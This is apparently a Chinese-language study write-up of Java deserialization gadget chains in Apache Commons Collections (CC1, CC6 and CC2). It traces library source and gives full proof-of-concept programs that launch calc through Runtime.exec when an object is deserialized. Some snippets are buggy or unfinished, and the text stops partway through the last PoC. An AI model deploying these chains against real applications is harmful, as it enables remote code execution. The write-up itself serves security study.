cc链

CC1

漏洞影响:Commons Collections<=3.2.1 jdk<8u71

TransformerMap链

my environment:

jdk_1.8.0_65 8u65

dependency:

  <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
    </dependencies>

CC1 链的关键在三个实现了Transformer接⼝的类 ChainedTransformer ConstantTransformer InvokerTransformer,Transformer 顾名思义就是一个转换器用来处理传入的对象,然后将处理完的对象返回

CommonsCollections 介绍

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并实现了各种集合工具类,被广泛运用于各种Java应用的开发,目前常说的存在缺陷的版本是Apache Commons Collections 3.2.1以下(4.0版本也是存在的)

也正式因为这个库,引入了很多恶意的代码,使得发生反序列化攻击

package org.apache.commons.collections;  
  

 public interface Transformer {  
 
 public Object transform(Object input);  
  
}

这个是接口类Transformer,需要重写这个类,并且接入继承这个类的类必须实现输入一个Object类型,然后返回一个Object类。

通过查看继承层次结构图,我们找到了InvokerTransformer类(当然不止这一个类),在第119行,InvokerTransformer类重写了transform方法,并且该类还继承了Serializable序列化接口。


public Object transform(Object input) {  
    if (input == null) {  
        return null;  
    }  
    try {  
        Class cls = input.getClass();  
        Method method = cls.getMethod(iMethodName, iParamTypes);  
        return method.invoke(input, iArgs);  
            } catch (NoSuchMethodException ex) {  
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");  
    } catch (IllegalAccessException ex) {  
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");  
    } catch (InvocationTargetException ex) {  
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);  
    }  
}

并且我们查看这个类的构造方法:

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {  
    super();  
    iMethodName = methodName;  
    iParamTypes = paramTypes;  
    iArgs = args;  
}

看道这里就有点眉目了,发现他的构造参数可以控制,并且有getMethod方法。通过反射实现命令执行
其中为什么InvokerTransformer的第二个和第三个参数位数组是因为构造函数为数组

import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.map.TransformedMap;  
  
import java.util.HashMap;  
import java.util.Map;  
  
public class CommonsCollections1 {  
  
    public static void main(String[] args) throws Exception {  
         Runtime runtime = Runtime.getRuntime();  
         InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[] {String.class},new Object[]{"calc"});  
         invokerTransformer.transform(runtime);  
    }  
  
}

开始回溯,想办法找到一个readObject的链子调用它,并且使它的参数可以控制。

第一步找寻找调用transform()的类的方法(Alt+F7)

跟进这个类:
看它的构造函数:

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {  
    super(map);  
    this.keyTransformer = keyTransformer;  
    this.valueTransformer = valueTransformer;  
}

和调用transform这的函数checkValue:


protected Object checkSetValue(Object value) {  
    return valueTransformer.transform(value);  
}

我们发现checkValue函数权限是projected不可以访问的,valueTransformer也是protected不可以访问的,只可以在内部访问。而且构造函数也是protected,我们就继续查看是谁调用了构造函数,发现decorate函数调用了:


public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {  
    return new TransformedMap(map, keyTransformer, valueTransformer);  
}

用下列语句poc,可以给checkValue函数里面的valueTransformer赋值为我们自定义的InvokerTransformer类:


import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.map.TransformedMap;  
  
import java.util.HashMap;  
import java.util.Map;  
  
public class CommonsCollections1 {  
  
    public static void main(String[] args) throws Exception {  
//         Runtime runtime = Runtime.getRuntime();  
//         InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[] {String.class},new Object[]{"calc"});  // 第二参数是  
//         invokerTransformer.transform(runtime);  
        Runtime runtime = Runtime.getRuntime();  
      InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new  Object[]{"calc"});  
        HashMap<Object,Object> map=new HashMap<>(); //这个直接实例化一个HashMap  
    }  
  
}

现在我们只用找到一个函数调用protected属性的checkValue函数即可完成:
跟进checkValue函数


static class MapEntry extends AbstractMapEntryDecorator {  
  
    /** The parent map */  
    private final AbstractInputCheckedMapDecorator parent;  
  
    protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {  
        super(entry);  
        this.parent = parent;  
    }  
  
    public Object setValue(Object value) {  
        value = parent.checkSetValue(value);  
        return entry.setValue(value);  
    }  
}

而在AbstractMapEntryDecorator这个类中又接入了这个类,调用setValue。完整整条链子

为什么用for循环:

最终POC:


import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.map.TransformedMap;  
  
import javax.xml.crypto.dsig.Transform;  
import java.util.HashMap;  
import java.util.Map;  
  
public class CommonsCollections1 {  
  
    public static void main(String[] args) throws Exception {  
//         Runtime runtime = Runtime.getRuntime();  
//         InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[] {String.class},new Object[]{"calc"});  // 第二参数是  
//         invokerTransformer.transform(runtime);  
        Runtime runtime = Runtime.getRuntime();  
      InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new  Object[]{"calc"});  
        HashMap<Object,Object> map=new HashMap<>(); //这个直接实例化一个HashMap  
  
        map.put("key","value");  
  
        Map<Object,Object> tranformerMap = TransformedMap.decorate(map,null,invokerTransformer);  
        for (Map.Entry entry:tranformerMap.entrySet()){  
            entry.setValue(runtime);  
        }  
  
    }  
  
}

接下来要解决readObject自动调用的问题,我们继续找函数setValue的用法,看那个类的readObject调用了setValue函数
找到一个类AnnotationInvocationHandler的readObject函数可以自动调用setValue函数方法:

private void readObject(java.io.ObjectInputStream s)  
    throws java.io.IOException, ClassNotFoundException {  
    s.defaultReadObject();  
  
    // Check to make sure that types have not evolved incompatibly  
  
    AnnotationType annotationType = null;  
    try {  
        annotationType = AnnotationType.getInstance(type);  
    } catch(IllegalArgumentException e) {  
        // Class is no longer an annotation type; time to punch out  
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");  
    }  
  
    Map<String, Class<?>> memberTypes = annotationType.memberTypes();  
  
    // If there are annotation members without values, that  
    // situation is handled by the invoke method.    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {  
        String name = memberValue.getKey();  
        Class<?> memberType = memberTypes.get(name);  
        if (memberType != null) {  // i.e. member still exists  
            Object value = memberValue.getValue();  
            if (!(memberType.isInstance(value) ||  
                  value instanceof ExceptionProxy)) {  
                memberValue.setValue(  
                    new AnnotationTypeMismatchExceptionProxy(  
                        value.getClass() + "[" + value + "]").setMember(  
                            annotationType.members().get(name)));  
            }  
        }  
    }  
}

看看这个类的构造方法:


AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {  
    Class<?>[] superInterfaces = type.getInterfaces();  
    if (!type.isAnnotation() ||  
        superInterfaces.length != 1 ||  
        superInterfaces[0] != java.lang.annotation.Annotation.class)  
        throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");  
    this.type = type;  
    this.memberValues = memberValues;  
}

然后可以看到membervalue可以控制
然后发现类为private,只能在sun.reflect.annotation这个本包下被调用,我们如果想外部调用,需要用反射来实现外部调用。

import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.map.TransformedMap;  
  
import javax.xml.crypto.dsig.Transform;  
import java.io.*;  
import java.lang.reflect.Constructor;  
import java.util.Base64;  
import java.util.HashMap;  
import java.util.Map;  
import java.util.function.Function;  
  
public class CommonsCollections1 {  
  
    public static void main(String[] args) throws Exception {  
//         Runtime runtime = Runtime.getRuntime();  
//         InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[] {String.class},new Object[]{"calc"});  // 第二参数是  
//         invokerTransformer.transform(runtime);  
        Runtime runtime = Runtime.getRuntime();  
      InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new  Object[]{"calc"});  
        HashMap<Object,Object> map=new HashMap<>(); //这个直接实例化一个HashMap  
  
        map.put("key","value");  
  
        Map<Object,Object> tranformerMap = TransformedMap.decorate(map,null,invokerTransformer);  
//        for (Map.Entry entry:tranformerMap.entrySet()){  
//            entry.setValue(runtime);  
//        }  
  
        //获取对象 Class        Class aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
        //取构造函数  
        Constructor declaredConstructors = aClass.getDeclaredConstructor(Class.class, Map.class);  
        declaredConstructors.setAccessible(true);  
  
  
        // 实例化对象  
  
        Object o = declaredConstructors.newInstance(Override.class, tranformerMap);  
  
        serlize(o);  
  
        unserialize("cc1.bin");  
  
  
  
//        ByteOutputStream byteOutputStream = new ByteOutputStream();  
//        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteOutputStream);  
//        objectOutputStream.writeObject(o);  
//        byte[] bytes =byteOutputStream.getBytes();  
//        Base64.Encoder encoder = Base64.getEncoder();  
//        String s = encoder.encodeToString(bytes);  
//        System.out.println(s);  
  
    }  
        public static void serlize(Object object) throws IOException {  
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc1.bin"));  
            objectOutputStream.writeObject(object);  
    }  
  
       public static void  unserialize(String filename) throws IOException, ClassNotFoundException {  
           ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));  
           objectInputStream.readObject();  
       }  
}

反弹计算机失败
一:
Runtime没有序列化接口,是不能序列化的,我们要解决这个问题:
我们可以用它的原型类,它的原型类Class是存在serilizable接口的,可以反序列化。
我们用InvokerTransformer来解决这个问题
我们现在重写整个链子,用Transfomer来实现Runtime类的加载,是其能被反序列化。


Runtime getRuntime = Runtime.getRuntime();  
Class run = getRuntime.getClass();  
//获取类的原型

Method method = run.getDeclaredMethod("getRuntime",null);  
Object r = method.invoke(null, null);  
Method exec = run.getDeclaredMethod("exec",String.class);  
exec.invoke(r,"calc");

用Transfomer类实现上述代码:
两种方法:

Runtime a = Runtime.getRuntime();  
Class runtimeClass  = a.getClass();  
Object getDeclaredMethod = new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(runtimeClass);  
Runtime runtime1 = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},  
        new Object[]{null, null}).transform(getDeclaredMethod);  
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);  




      Method method = run.getMethod("exec");  
Class runtimeClass = Class.forName("java.lang.Runtime");  
Transformer[] Transformers=new Transformer[]{  
        new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),  
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),  
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})  
};  
  
//调用含参构造器传入Transformer数组,然后调用transform方法,这里对象只需要传一个原始的Runtime就行,因为其他都是嵌套的。  
ChainedTransformer chainedTransformer= new ChainedTransformer(Transformers);  
chainedTransformer.transform(Runtime.class);

在前面就观察道了setValue的值,并不能让我随便控制,现在解决一下这个问题:
debug的时候还发现一个问题,进入不了checkvalue。

import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.map.TransformedMap;  
  
import javax.xml.crypto.dsig.Transform;  
import java.io.*;  
import java.lang.annotation.Target;  
import java.lang.reflect.Constructor;  
import java.lang.reflect.Method;  
import java.nio.channels.ClosedSelectorException;  
import java.util.Base64;  
import java.util.HashMap;  
import java.util.Map;  
import java.util.function.Function;  
  
public class CommonsCollections1 {  
  
    public static void main(String[] args) throws Exception {  
//         Runtime runtime = Runtime.getRuntime();  
//         InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[] {String.class},new Object[]{"calc"});  // 第二参数是  
//         invokerTransformer.transform(runtime);  
  
        Runtime runtime = Runtime.getRuntime();  
      InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new  Object[]{"calc"});  
        HashMap<Object,Object> map=new HashMap<>(); //这个直接实例化一个HashMap  
  
        map.put("value","value");  
  
        Map<Object,Object> tranformerMap = TransformedMap.decorate(map,null,invokerTransformer);  
//        for (Map.Entry entry:tranformerMap.entrySet()){  
//            entry.setValue(runtime);  
//        }  
  
        //获取对象 Class        Class aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
        //取构造函数  
        Constructor declaredConstructors = aClass.getDeclaredConstructor(Class.class, Map.class);  
        declaredConstructors.setAccessible(true);  
  
  
        // 实例化对象  
  
        Object o = declaredConstructors.newInstance(Target.class, tranformerMap);  
  
        serlize(o);  
  
        unserialize("cc1.bin");  
  
//        ByteOutputStream byteOutputStream = new ByteOutputStream();  
//        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteOutputStream);  
//        objectOutputStream.writeObject(o);  
//        byte[] bytes =byteOutputStream.getBytes();  
//        Base64.Encoder encoder = Base64.getEncoder();  
//        String s = encoder.encodeToString(bytes);  
//        System.out.println(s);  
  
  
//        Runtime getRuntime = Runtime.getRuntime();  
//        Class run = getRuntime.getClass();  
//        Method method = run.getDeclaredMethod("getRuntime",null);  
//        Object r1 = method.invoke(null, null);  
//        Method exec = run.getDeclaredMethod("exec",String.class);  
//        exec.invoke(r1,"calc");  
  
  
  
//        Runtime a = Runtime.getRuntime();  
//        Class runtimeClass  = a.getClass();  
//        Object getDeclaredMethod = new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(runtimeClass);  
//        Runtime runtime1 = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},  
//                new Object[]{null, null}).transform(getDeclaredMethod);  
//        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);  
//              Method method = run.getMethod("exec");  
  
  
//  
//  
//        Class<?> runtime1 = Class.forName("java.lang.Runtime");  
//        //创建一个Transformer数值用于储存InvokerTransformer的数据,便于遍历  
//        Transformer[] Transformers=new Transformer[]{  
//                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),  
//                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),  
//                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})  
//        };  
//        //调用含参构造器传入Transformer数组,然后调用transform方法,这里对象只需要传一个原始的Runtime就行,因为其他都是嵌套的。  
//        ChainedTransformer chainedTransformer= new ChainedTransformer(Transformers);  
//        chainedTransformer.transform(runtime1);  
  
  
    }  
        public static void serlize(Object object) throws IOException {  
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc1.bin"));  
            objectOutputStream.writeObject(object);  
    }  
  
       public static void  unserialize(String filename) throws IOException, ClassNotFoundException {  
           ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));  
           objectInputStream.readObject();  
       }  
}

进入不了checkValue是因为那个值为空值,我们可以用ConstantTransformer类来实现它,这个ConstantTransformer类,你传入什么,就返回什么东西。

解决无法控制setValue的问题,我们可以用类
最终POC:

import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.map.TransformedMap;  
  
import javax.xml.crypto.dsig.Transform;  
import java.io.*;  
import java.lang.annotation.Target;  
import java.lang.reflect.Constructor;  
import java.lang.reflect.Method;  
import java.nio.channels.ClosedSelectorException;  
import java.util.Base64;  
import java.util.HashMap;  
import java.util.Map;  
import java.util.function.Function;  
  
public class CommonsCollections1 {  
  
    public static void main(String[] args) throws Exception {  
        Class<?> runtime = Class.forName("java.lang.Runtime");  
        //创建一个Transformer数值用于储存InvokerTransformer的数据,便于遍历  
        Transformer[] Transformers=new Transformer[]{  
                new ConstantTransformer(Runtime.class),  
                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),  
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),  
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})  
        };  
        //调用含参构造器传入Transformer数组,然后调用transform方法,这里对象只需要传一个原始的Runtime就行,因为其他都是嵌套的。  
        ChainedTransformer chainedTransformer= new ChainedTransformer(Transformers);  
  
        HashMap<Object, Object> map = new HashMap<>();  
        map.put("value", "value");  
        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);  
  
  
        Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
        Constructor annotationInvocationHandlerConstructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);  
        annotationInvocationHandlerConstructor.setAccessible(true);  
        Object object = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);  
  
        serialize(object);  
        unserialize("CC1.txt");  
    }  
  
    //定义序列化方法  
    public static void serialize(Object object) throws Exception{  
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("CC1.txt"));  
        oos.writeObject(object);  
    }  
  
    //定义反序列化方法  
    public static void unserialize(String filename) throws Exception{  
        ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));  
        objectInputStream.readObject();  
    }  
  
}

LazyMap链

LazyMap链还用到了动态代理,也算是一个java反序列化的基础

动态代理:

import classes.com.example.demo.Ping;  
import com.sun.deploy.pings.Pings;  
import jdk.internal.org.objectweb.asm.commons.Method;  
import sun.plugin2.message.ShowDocumentMessage;  
  
import java.io.ByteArrayOutputStream;  
import java.io.IOException;  
import java.io.ObjectOutputStream;  
import java.lang.reflect.InvocationHandler;  
import java.lang.reflect.InvocationTargetException;  
import java.lang.reflect.Proxy;  
import java.util.Base64;  
  
public class Exp implements IUser {  
  
    public static void main(String[] args){  
        InvocationHandler handler = new InvocationHandler() {  
            @Override  
            public Object invoke(Object proxy, java.lang.reflect.Method method, Object[] args) throws Throwable {  
                System.out.println(method);  
                if (method.getName().equals("show"))  //无参数  
                {  
                    System.out.println("Good moring");  
                }  
                return null;  
            }  
        };  
  
        IUser iuser=(IUser) Proxy.newProxyInstance(IUser.class.getClassLoader(),new Class[]{IUser.class},handler);  
        iuser.show();  
    } // 重新定义一个handler接口  
  
  
    @Override  
    public void show() {  
  
    }  
}

import java.lang.reflect.InvocationHandler;  
import java.lang.reflect.Method;  
import java.lang.reflect.Proxy;  
import java.time.chrono.IsoEra;  
import java.util.logging.Handler;  
  
public class UserPeoxy implements IUser{  
  
    public static void main(String[] args) {  
       InvocationHandler handler = new InvocationHandler(){  
  
            @Override  
            public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {  
                System.out.println(method);  
                if (method.getName().equals("show"))  
                {  
                    System.out.println("Hello Harder");  
                }  
  
                return null;  
            }  
        };  
  
          IUser iuser= (IUser)Proxy.newProxyInstance(IUser.class.getClassLoader(),new Class[]{IUser.class},handler);  
            iuser.show();  
    }  
  
    @Override  
    public void show() {  
  
    }  
}

最后用的还是transform方法触发的链子,和CC1的TransfromerMap链子不一样的地方有这不是setValue函数在调用checkvalue调用的transform,而LazyMap是get方法里的transfom

import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.map.LazyMap;  
  
import java.io.*;  
import java.lang.annotation.Retention;  
import java.lang.reflect.Constructor;  
import java.lang.reflect.InvocationHandler;  
import java.lang.reflect.Proxy;  
import java.util.HashMap;  
import java.util.Map;  
  
public class CommonsCollections1_LazyMap {  
    public static void main(String[] args) throws Exception, IOException {  
        String cmd = "calc";  
        //构造恶意调用链  
        Transformer[] transformers = new Transformer[]{  
                new ConstantTransformer(Runtime.class),  
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})  
        };  
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
  
        Map innermap = new HashMap();  
        innermap.put("value", "key");  
        Map outerMap = LazyMap.decorate(innermap,chainedTransformer);//取代 TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(map, null, chainedTransformer);//decorateTransform也可以,中间的参数可以为null或chainedTransformer  
  
        //反射构造AnnotationInvocationHandler的实例并且序列化为payload  
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);  
        constructor.setAccessible(true);  
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class,outerMap);  
  
        //动态代理触发AnnotationInvocationHandler类的invoke方法  
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[] {Map.class},invocationHandler);  
        ////用AnnotationInvocationHandler对proxyMap进行包裹  
        Object o = (InvocationHandler) constructor.newInstance(Retention.class,proxyMap);  
  
        //序列化  
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc1-2.txt"));  
        oos.writeObject(o);  
  
        //反序列化  
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc1-2.txt"));  
        System.out.println(ois.readObject());  
    }  
}

CC6

漏洞影响:Commons Collections<=3.2.1 jdk1.7,1.8 影响比较大的一条链

在Java 8u71以后,CC1链就不能在利用了

这个有两条路吧:
和CC1的LazyMap链特别相识,但是由于重写了invocationHandler的readObject的逻辑,所以导致触发不了get方法


import com.sun.corba.se.impl.orbutil.closure.Constant;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
import org.apache.commons.collections.map.LazyMap;  
  
import javax.naming.ldap.Control;  
import javax.xml.crypto.dsig.Transform;  
import java.io.*;  
import java.lang.reflect.Field;  
import java.util.Collection;  
import java.util.HashMap;  
import java.util.HashSet;  
import java.util.Map;  
  
public class CommonsCollections6 {  
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {  
//        Transformer[] transformers = {  
//                new ConstantTransformer(Runtime.class),  
//                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),  
//                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  
//                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})  
//        };  
//        ChainedTransformer ct = new ChainedTransformer(transformers);  
//        //t.transform(1);  // 调用transform函数 实现calc  
//  
//        Map map = LazyMap.decorate(new HashMap(),ct);  
//        TiedMapEntry tiedMapEntry = new TiedMapEntry(map,"key");  //  
//        HashMap<Object, Object> objectObjectHashMap = new HashMap<>();  
//        objectObjectHashMap.put(tiedMapEntry,"value");  
        Transformer[] transformers = {  
                new ConstantTransformer(Runtime.class),  
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),  
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})  
        };  
        ChainedTransformer ct = new ChainedTransformer(transformers);  
        Map lazymap = LazyMap.decorate(new HashMap(), new ConstantTransformer("1"));  
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "2");  
        HashMap<Object, Object> hashMap = new HashMap<>();  
        hashMap.put(tiedMapEntry, "3");  
  
        lazymap.remove("2");  
  
        Class<LazyMap> lazyMapClass = LazyMap.class;  
        Field factoryField = lazyMapClass.getDeclaredField("factory");  
        factoryField.setAccessible(true);  
        factoryField.set(lazymap, ct);  
  
  
  
  
  
    }  
  
//    private static void serilaize() {  
//    }  
  
  
    public static void serilaize(Object object) throws IOException {  
        FileOutputStream fileOutputStream = new FileOutputStream("cc6.bin");  
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);  
        objectOutputStream.writeObject(object);  
        objectOutputStream.close();  
    }  
    public static void unserilize(String filename) throws IOException, ClassNotFoundException {  
        FileInputStream fileInputStream = new FileInputStream(filename);  
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);  
        objectInputStream.readObject();  
        objectInputStream.close();  
    }  
}

参考:

https://www.cnblogs.com/CVE-Lemon/p/17935937.html

CC2

    <dependencies>
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>

        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.22.0-GA</version>
        </dependency>
    </dependencies>

更新新的依赖commons-collection4
针对commons-collection4其实ysoserial给了两条链子:CC2和CC4

然后再IDEA中重新下周commons-collection4的源码:

在 IntelliJ IDEA 中手动下载依赖库的源码,你可以按照以下步骤操作:

  1. 打开Maven项目窗口:首先,确保你的项目是以Maven项目导入到IDEA中的。在IDEA的右侧边栏中,你应该能看到一个名为 "Maven" 的工具窗口。如果看不到,可以通过点击顶部菜单的 View -> Tool Windows -> Maven 来打开。

  2. 找到依赖库:在Maven工具窗口中,展开项目名称下的 "Dependencies" 节点。这里列出了项目中所有的依赖库。

  3. 下载源码:找到你想要下载源码的依赖库,右键点击它,然后选择 "Download Sources"。IDEA会尝试从配置的仓库中下载该依赖库的源码。

  4. 等待下载完成:下载源码可能需要一些时间,具体取决于源码包的大小和你的网络速度。完成后,IDEA会自动关联这些源码到对应的库,这样你就可以直接在IDEA中查看这些源码了。

如果IDEA无法下载某个库的源码,可能是因为该库的源码没有在Maven中央仓库或你配置的私有仓库中提供。这种情况下,你可能需要手动从项目网站或其他地方下载源码包,并在IDEA中手动关联这些源码。

common-collections4依赖中的TransformingComparator类

这个是common-collections4独有的类,我们跟着这个类走。
发现其中有方法compare方法可以调用Transfrom类


同时这个类的Transfrom是可以控制的,我们找一个类可以控制调用compare就行了

找到一个类PriorityQueue做为反序列化的入口:

这个方法进行跟进:

继续看siftDown链子
如果comparator不为空,我们进入siftDownUsingComparator类

在这我们能控制comparator为我们TransfromingComparator类进行了

结合一下之前的链子POC:

这还需要用add或者offer进行给两个值

这就是大概的链子:



import org.apache.commons.collections4.Transformer;  
import org.apache.commons.collections4.comparators.TransformingComparator;  
import org.apache.commons.collections4.functors.ChainedTransformer;  
import org.apache.commons.collections4.functors.ConstantTransformer;  
import org.apache.commons.collections4.functors.InvokerTransformer;  
import org.apache.commons.collections4.map.LazyMap;  
  
import javax.xml.crypto.dsig.Transform;  
import java.io.FileInputStream;  
import java.io.FileOutputStream;  
import java.io.ObjectInputStream;  
import java.io.ObjectOutputStream;  
import java.util.InputMismatchException;  
import java.util.PriorityQueue;  
  
public class CommonsCollection2 {  
    public static void main(String[] args) {  
  
        Transformer[] transformer = new Transformer[]{  
                new ConstantTransformer(Runtime.class),  
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),  
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),  
                new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc"}),  
        };  
       // System.out.println(transformer);  
        Transformer chaintransformer = new ChainedTransformer(transformer);  
  
        TransformingComparator comparator = new TransformingComparator(chaintransformer);  
        PriorityQueue queue = new PriorityQueue(2,comparator);  
        queue.add(1);  
        queue.add(2);//调用offer()方法随便给队列中添加两个参数,调用add()也可以,add()最后也是调用的offer()方法。  
  
        try{    
            FileOutputStream filepath = new FileOutputStream("./CC2.ser");  // 序列化  
            ObjectOutputStream object = new ObjectOutputStream(filepath);  
            object.writeObject(queue);  
  
            ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("./CC1.ser"));  //序列化  
            objectInputStream.read();  
        }  
        catch (Exception e){  
            e.printStackTrace();  
        }  
  
    }  
  
}

神图:

有点不理解,和这篇文章有点分歧:
https://xz.aliyun.com/t/10387?time__1311=mq%2BxBDyDu7G%3DI405DIYxrDcDmE%3DWqqTOO4D&alichlgref=https%3A%2F%2Fwww.google.com.hk%2F (我太菜了)
最终POC:


import org.apache.commons.collections4.Transformer;  
import org.apache.commons.collections4.comparators.TransformingComparator;  
import org.apache.commons.collections4.functors.ChainedTransformer;  
import org.apache.commons.collections4.functors.ConstantTransformer;  
import org.apache.commons.collections4.functors.InvokerTransformer;  
import org.apache.commons.collections4.map.LazyMap;  
  
import javax.xml.crypto.dsig.Transform;  
import java.io.FileInputStream;  
import java.io.FileOutputStream;  
import java.io.ObjectInputStream;  
import java.io.ObjectOutputStream;  
import java.lang.reflect.Field;  
